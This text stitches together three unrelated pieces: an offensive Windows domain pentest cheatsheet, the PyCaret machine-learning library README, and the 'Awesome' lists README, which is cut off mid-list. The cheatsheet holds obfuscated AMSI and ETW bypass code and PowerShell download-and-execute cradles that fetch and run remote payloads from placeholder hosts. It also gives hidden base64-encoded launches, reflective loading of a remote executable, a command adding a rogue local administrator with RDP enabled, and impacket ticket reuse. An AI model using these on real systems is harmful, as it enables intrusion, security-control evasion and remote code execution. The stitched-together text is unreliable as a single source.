# Windows-Domain-Cheatsheet * [General](#General) * [Relaying & Poisoning](relaying.md) * [Linux AD](linux_ad.md) * [Initial Access](Initial-Access.md) * [Host Reconnaissance](Host-Reconnaissance.md) * [Host Persistence](Host-Persistence.md) * [Evasion](Evasion.md) * [Local privilege escalation](../infrastructure/privesc_windows.md) * [Post-Exploitation](Post-Exploitation.md) * [Lateral Movement](Lateral-Movement.md) * [Domain Enumeration](Domain-Enumeration.md) * [Domain Privilege Escalation](Domain-Privilege-Escalation.md) * [Domain Persistence](Domain-Persistence.md) # General #### Good links - https://cybersecuritynews.com/active-directory-checklist/ ## Commands #### Access C disk of a computer (check local admin) ``` ls \\<COMPUTERNAME>\c$ ``` #### Use this parameter to not print errors powershell ``` -ErrorAction SilentlyContinue ``` #### Rename powershell windows ``` $host.ui.RawUI.WindowTitle = "<NAME>" ``` #### Save Credentials ``` $creds = get-credential $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password) ``` #### Find a specific file ``` Get-Childitem -Path C:\ -Force -Include <FILENAME OR WORD TO SEARCH> -Recurse -ErrorAction SilentlyContinue ``` #### Check access to a file ``` $test = get-acl <PATH> $test.Access ``` #### Transfer files base64 ``` $Content = Get-Content -Encoding Byte -Path 20221025020336_BloodHound.zip [System.Convert]::ToBase64String($Content) $Base64 = "<PASTE BASE64>" Set-Content -Value $([System.Convert]::FromBase64String($Base64)) -Encoding Byte -Path bloodhound.zip ``` #### Base64 encoded commands on Windows ``` $str = 'IEX ((new-object net.webclient).downloadstring("http://<IP>/a"))' [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) powershell.exe -nop -w hidden -enc <BASE64 STRING> ``` #### Base64 encoded commands on Linux ``` set str 'IEX ((new-object net.webclient).downloadstring("http://<IP>.com/a"))' echo -en $str | iconv -t UTF-16LE | base64 -w 0 powershell.exe -nop -w hidden -enc <BASE64 STRING> ``` #### Crackmapexec on windows - Download cme https://github.com/byt3bl33d3r/CrackMapExec/releases/ - Download latest version of python which is required my cme (currently 3.10) (Windows embeddable package (64-bit)) https://www.python.org/downloads/windows/ ``` #add python to path variable: $env:Path += ";c:\python" $env:Path += ";c:\tools\python" #add the register key if error blablah\DemoDLL_RemoteProcess.vcxproj.filters REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v LongPathsEnabled /t REG_DWORD /d 1 /f #add the registery key for colors REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 ``` #### Change tickets .kirbi to .ccache and vice versa ``` python3 ticketConverter.py Administrator.kirbi Administrator.ccache ```` #### Use tickets with impacket ``` export KRB5CCNAME=<TGT_ccache_file> python3 script.py -k -no-pass python3 psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass python3 smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass python3 wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass ``` #### Example impacket Domain Trust ticket ``` python3 /opt/impacket/examples/psexec.py -dc-ip <CHILD DC FQDN> <DOMAIN>/Administrator@<TARGET DC FQDN> -k -no-pass -debug ``` #### AMSI Bypass - https://amsi.fail/ - Or use the one below ``` S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) ``` ``` Invoke-Command -Scriptblock {S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )} $sess ``` #### ETW Bypass ``` [Reflection.Assembly]::"l`o`AdwIThPa`Rti`AlnamE"(('S'+'ystem'+'.C'+'ore'))."g`E`TTYPE"(('Sys'+'tem.Di'+'agno'+'stics.Event'+'i'+'ng.EventProv'+'i'+'der'))."gET`FI`eLd"(('m'+'_'+'enabled'),('NonP'+'ubl'+'ic'+',Instance'))."seTVa`l`Ue"([Ref]."a`sSem`BlY"."gE`T`TyPE"(('Sys'+'tem'+'.Mana'+'ge'+'ment.Aut'+'o'+'mation.Tracing.'+'PSEtwLo'+'g'+'Pro'+'vi'+'der'))."gEtFIe`Ld"(('e'+'tw'+'Provid'+'er'),('N'+'o'+'nPu'+'b'+'lic,Static'))."gE`Tva`lUe"($null),0) ``` ### Download and execute cradles - Usefull tool: https://github.com/danielbohannon/Invoke-CradleCrafter ``` iex (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/payload.ps1') ``` #### Full cradle with ETW and AMSI bypass download ``` powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/etw.txt'); iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1') ``` #### Others ``` $ie=New-Object -ComObjectInternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://xx.xx.xx.xx/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response #PSv3 onwards iex (iwr 'http://xx.xx.xx.xx/evil.ps1') $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://xx.xx.xx.xx/evil.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://xx.xx.xx.xx/evil.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd() ``` #### Reflective Load C Sharp binary - Make sure the class is public `public class Program` - Make sure the void Main is public `public static void Main(string[] args)`public static void Main(string[] args)` ``` $data = (New-Object System.Net.WebClient).DownloadData('http://XX.XX.XX.XX/Payload.exe') $assem = [System.Reflection.Assembly]::Load($data) [<NAMESPACE>.<CLASS>]::Main("".Split()) $data = (New-Object System.Net.WebClient).DownloadData('http://XX.XX.XX.XX/Payload.exe') $assem = [System.Reflection.Assembly]::Load($data) [Dropper.Program]::Main("".Split()) ``` #### Add user to local admin and RDP group and enable RDP on firewall ``` net user <USERNAME> <PASSWORD> /add /Y && net localgroup administrators <USERNAME> /add && net localgroup "Remote Desktop Users" <USERNAME> /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group="remote desktop" new enable=Yes ``` ## Troubleshooting ### KRB_AP_ERR_SKEW(Clock skew to great) #### Disable time sync - https://askubuntu.com/questions/683067/how-to-stop-automatic-time-update-via-terminal ``` sudo timedatectl set-ntp 0 ``` #### Get time ``` sudo net time set -S <DC IP> ``` #### Set time and date manually - If above fails and only prints the time ``` sudo timedatectl set-time `<YEAR>-<MONTH>-<DATE> xx:xx:xx` sudo timedatectl set-time `2022-12-28 20:59:33` ``` #### Execute commands #### Enable time sync again - Restore time to original ``` sudo timedatectl set-ntp 1 ```

<div align="center"> <img src="docs/images/logo.png" alt="drawing" width="200"/> ## **An open-source, low-code machine learning library in Python** ## 🎉🎉🎉 **PyCaret 3.0 is now available. 🎉🎉🎉** ## `pip install --upgrade pycaret` </br> <p align="center"> <h3> <a href="https://pycaret.gitbook.io/">Docs</a> • <a href="https://pycaret.gitbook.io/docs/get-started/tutorials">Tutorials</a> • <a href="https://pycaret.gitbook.io/docs/learn-pycaret/official-blog">Blog</a> • <a href="https://www.linkedin.com/company/pycaret/">LinkedIn</a> • <a href="https://www.youtube.com/channel/UCxA1YTYJ9BEeo50lxyI_B3g">YouTube</a> • <a href="https://join.slack.com/t/pycaret/shared_invite/zt-row9phbm-BoJdEVPYnGf7_NxNBP307w">Slack</a> </h3> </p> | Overview | | |---|---| | **CI/CD** |  [](http://pip.pypa.io/en/stable/?badge=stable) | | **Code** | [](https://pypi.org/project/pycaret/) [](https://badge.fury.io/py/pycaret) [](https://github.com/psf/black) | **Downloads**| [)](https://pepy.tech/project/pycaret) [)](https://pepy.tech/project/pycaret) [)](https://pepy.tech/project/pycaret) | | **License** | [](https://img.shields.io/pypi/l/ansicolortags.svg) | **Community** | [](https://join.slack.com/t/pycaret/shared_invite/zt-20gl4zb8k-L~ZQDyi9LtrV4dWxYpLE7A) |  <div align="left"> # Welcome to PyCaret PyCaret is an open-source, low-code machine learning library in Python that automates machine learning workflows. It is an end-to-end machine learning and model management tool that speeds up the experiment cycle exponentially and makes you more productive. In comparison with the other open-source machine learning libraries, PyCaret is an alternate low-code library that can be used to replace hundreds of lines of code with few lines only. This makes experiments exponentially fast and efficient. PyCaret is essentially a Python wrapper around several machine learning libraries and frameworks such as scikit-learn, XGBoost, LightGBM, CatBoost, Optuna, Hyperopt, Ray, and few more. The design and simplicity of PyCaret are inspired by the emerging role of citizen data scientists, a term first used by Gartner. Citizen Data Scientists are power users who can perform both simple and moderately sophisticated analytical tasks that would previously have required more technical expertise. PyCaret was inspired by the caret library in R programming language. # 🚀 Installation ## 🌐 Option 1: Install via PyPi PyCaret is tested and supported on 64-bit systems with: - Python 3.7, 3.8, 3.9, and 3.10 - Ubuntu 16.04 or later - Windows 7 or later You can install PyCaret with Python's pip package manager: ```python # install pycaret pip install pycaret ``` PyCaret's default installation will not install all the optional dependencies automatically. Depending on the use case, you may be interested in one or more extras: ```python # install analysis extras pip install pycaret[analysis] # models extras pip install pycaret[models] # install tuner extras pip install pycaret[tuner] # install mlops extras pip install pycaret[mlops] # install parallel extras pip install pycaret[parallel] # install test extras pip install pycaret[test] ## # install multiple extras together pip install pycaret[analysis,models] ``` Check out all [optional dependencies](https://github.com/pycaret/pycaret/blob/master/requirements-optional.txt). If you want to install everything including all the optional dependencies: ```python # install full version pip install pycaret[full] ``` ## 📄 Option 2: Build from Source Install the development version of the library directly from the source. The API may be unstable. It is not recommended for production use. ```python pip install git+https://github.com/pycaret/pycaret.git@master --upgrade ``` ## 📦 Option 3: Docker Docker creates virtual environments with containers that keep a PyCaret installation separate from the rest of the system. PyCaret docker comes pre-installed with a Jupyter notebook. It can share resources with its host machine (access directories, use the GPU, connect to the Internet, etc.). The PyCaret Docker images are always tested for the latest major releases. ```python # default version docker run -p 8888:8888 pycaret/slim # full version docker run -p 8888:8888 pycaret/full ``` ## 🏃‍♂️ Quickstart ### 1. Functional API ```python # Classification Functional API Example # loading sample dataset from pycaret.datasets import get_data data = get_data('juice') # init setup from pycaret.classification import * s = setup(data, target = 'Purchase', session_id = 123) # model training and selection best = compare_models() # evaluate trained model evaluate_model(best) # predict on hold-out/test set pred_holdout = predict_model(best) # predict on new data new_data = data.copy().drop('Purchase', axis = 1) predictions = predict_model(best, data = new_data) # save model save_model(best, 'best_pipeline') ``` ### 2. OOP API ```python # Classification OOP API Example # loading sample dataset from pycaret.datasets import get_data data = get_data('juice') # init setup from pycaret.classification import ClassificationExperiment s = ClassificationExperiment() s.setup(data, target = 'Purchase', session_id = 123) # model training and selection best = s.compare_models() # evaluate trained model s.evaluate_model(best) # predict on hold-out/test set pred_holdout = s.predict_model(best) # predict on new data new_data = data.copy().drop('Purchase', axis = 1) predictions = s.predict_model(best, data = new_data) # save model s.save_model(best, 'best_pipeline') ``` ## 📁 Modules <div align="center"> ## **Classification** Functional API | OOP API :-------------------------:|:-------------------------:  |  ## **Regression** Functional API | OOP API :-------------------------:|:-------------------------:  |  ## **Time Series** Functional API | OOP API :-------------------------:|:-------------------------:  |  ## **Clustering** Functional API | OOP API :-------------------------:|:-------------------------:  |  ## **Anomaly Detection** Functional API | OOP API :-------------------------:|:-------------------------:  |  <div align="left"> # 👥 Who should use PyCaret? PyCaret is an open source library that anybody can use. In our view the ideal target audience of PyCaret is: <br /> - Experienced Data Scientists who want to increase productivity. - Citizen Data Scientists who prefer a low code machine learning solution. - Data Science Professionals who want to build rapid prototypes. - Data Science and Machine Learning students and enthusiasts. # 🎮 Training on GPUs To train models on the GPU, simply pass use_gpu = True in the setup function. There is no change in the use of the API; however, in some cases, additional libraries have to be installed. The following models can be trained on GPUs: - Extreme Gradient Boosting - CatBoost - Light Gradient Boosting Machine requires [GPU installation](https://lightgbm.readthedocs.io/en/latest/GPU-Tutorial.html) - Logistic Regression, Ridge Classifier, Random Forest, K Neighbors Classifier, K Neighbors Regressor, Support Vector Machine, Linear Regression, Ridge Regression, Lasso Regression requires [cuML >= 0.15](https://github.com/rapidsai/cuml) # 🖥️ PyCaret Intel sklearnex support You can apply [Intel optimizations](https://github.com/intel/scikit-learn-intelex) for machine learning algorithms and speed up your workflow. To train models with Intel optimizations use `sklearnex` engine. There is no change in the use of the API, however, installation of Intel sklearnex is required: ```python pip install scikit-learn-intelex ``` # 🤝 Contributors <a href="https://github.com/pycaret/pycaret/graphs/contributors"> <img src="https://contrib.rocks/image?repo=pycaret/pycaret" width=600/> </a> # 📝 License PyCaret is completely free and open-source and licensed under the [MIT](https://github.com/pycaret/pycaret/blob/master/LICENSE) license. # ℹ️ More Information | Important Links | Description | | -------------------------- | -------------------------------------------------------------- | | :star: **[Tutorials]** | Tutorials developed and maintained by core developers | | :clipboard: **[Example Notebooks]** | Example notebooks created by community | | :orange_book: **[Blog]** | Official blog by creator of PyCaret | | :books: **[Documentation]** | API docs | | :tv: **[Videos]** | Video resources | | ✈️ **[Cheat sheet]** | Community Cheat sheet | | :loudspeaker: **[Discussions]** | Community Discussion board on GitHub| | :hammer_and_wrench: **[Release Notes]** | Release Notes | [tutorials]: https://pycaret.gitbook.io/docs/get-started/tutorials [Example notebooks]: https://github.com/pycaret/examples [Blog]: https://pycaret.gitbook.io/docs/learn-pycaret/official-blog [Documentation]: https://pycaret.gitbook.io/docs/ [Videos]: https://pycaret.gitbook.io/docs/learn-pycaret/videos [Cheat sheet]: https://pycaret.gitbook.io/docs/learn-pycaret/cheat-sheet [Discussions]: https://github.com/pycaret/pycaret/discussions [Release Notes]: https://github.com/pycaret/pycaret/releases

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <h4> Check out my latest iPhone app <a href="https://apps.apple.com/app/id1532588789">Photo Widget</a> which lets you add photos to your home screen </h4> <br> <br> <br> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://standardresume.co"> <img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/> </a> </p> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Testing](#testing) - [Miscellaneous](#miscellaneous) - [Related](#related) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. - [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications. - [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science. - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics. - [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. - [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs. - [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - 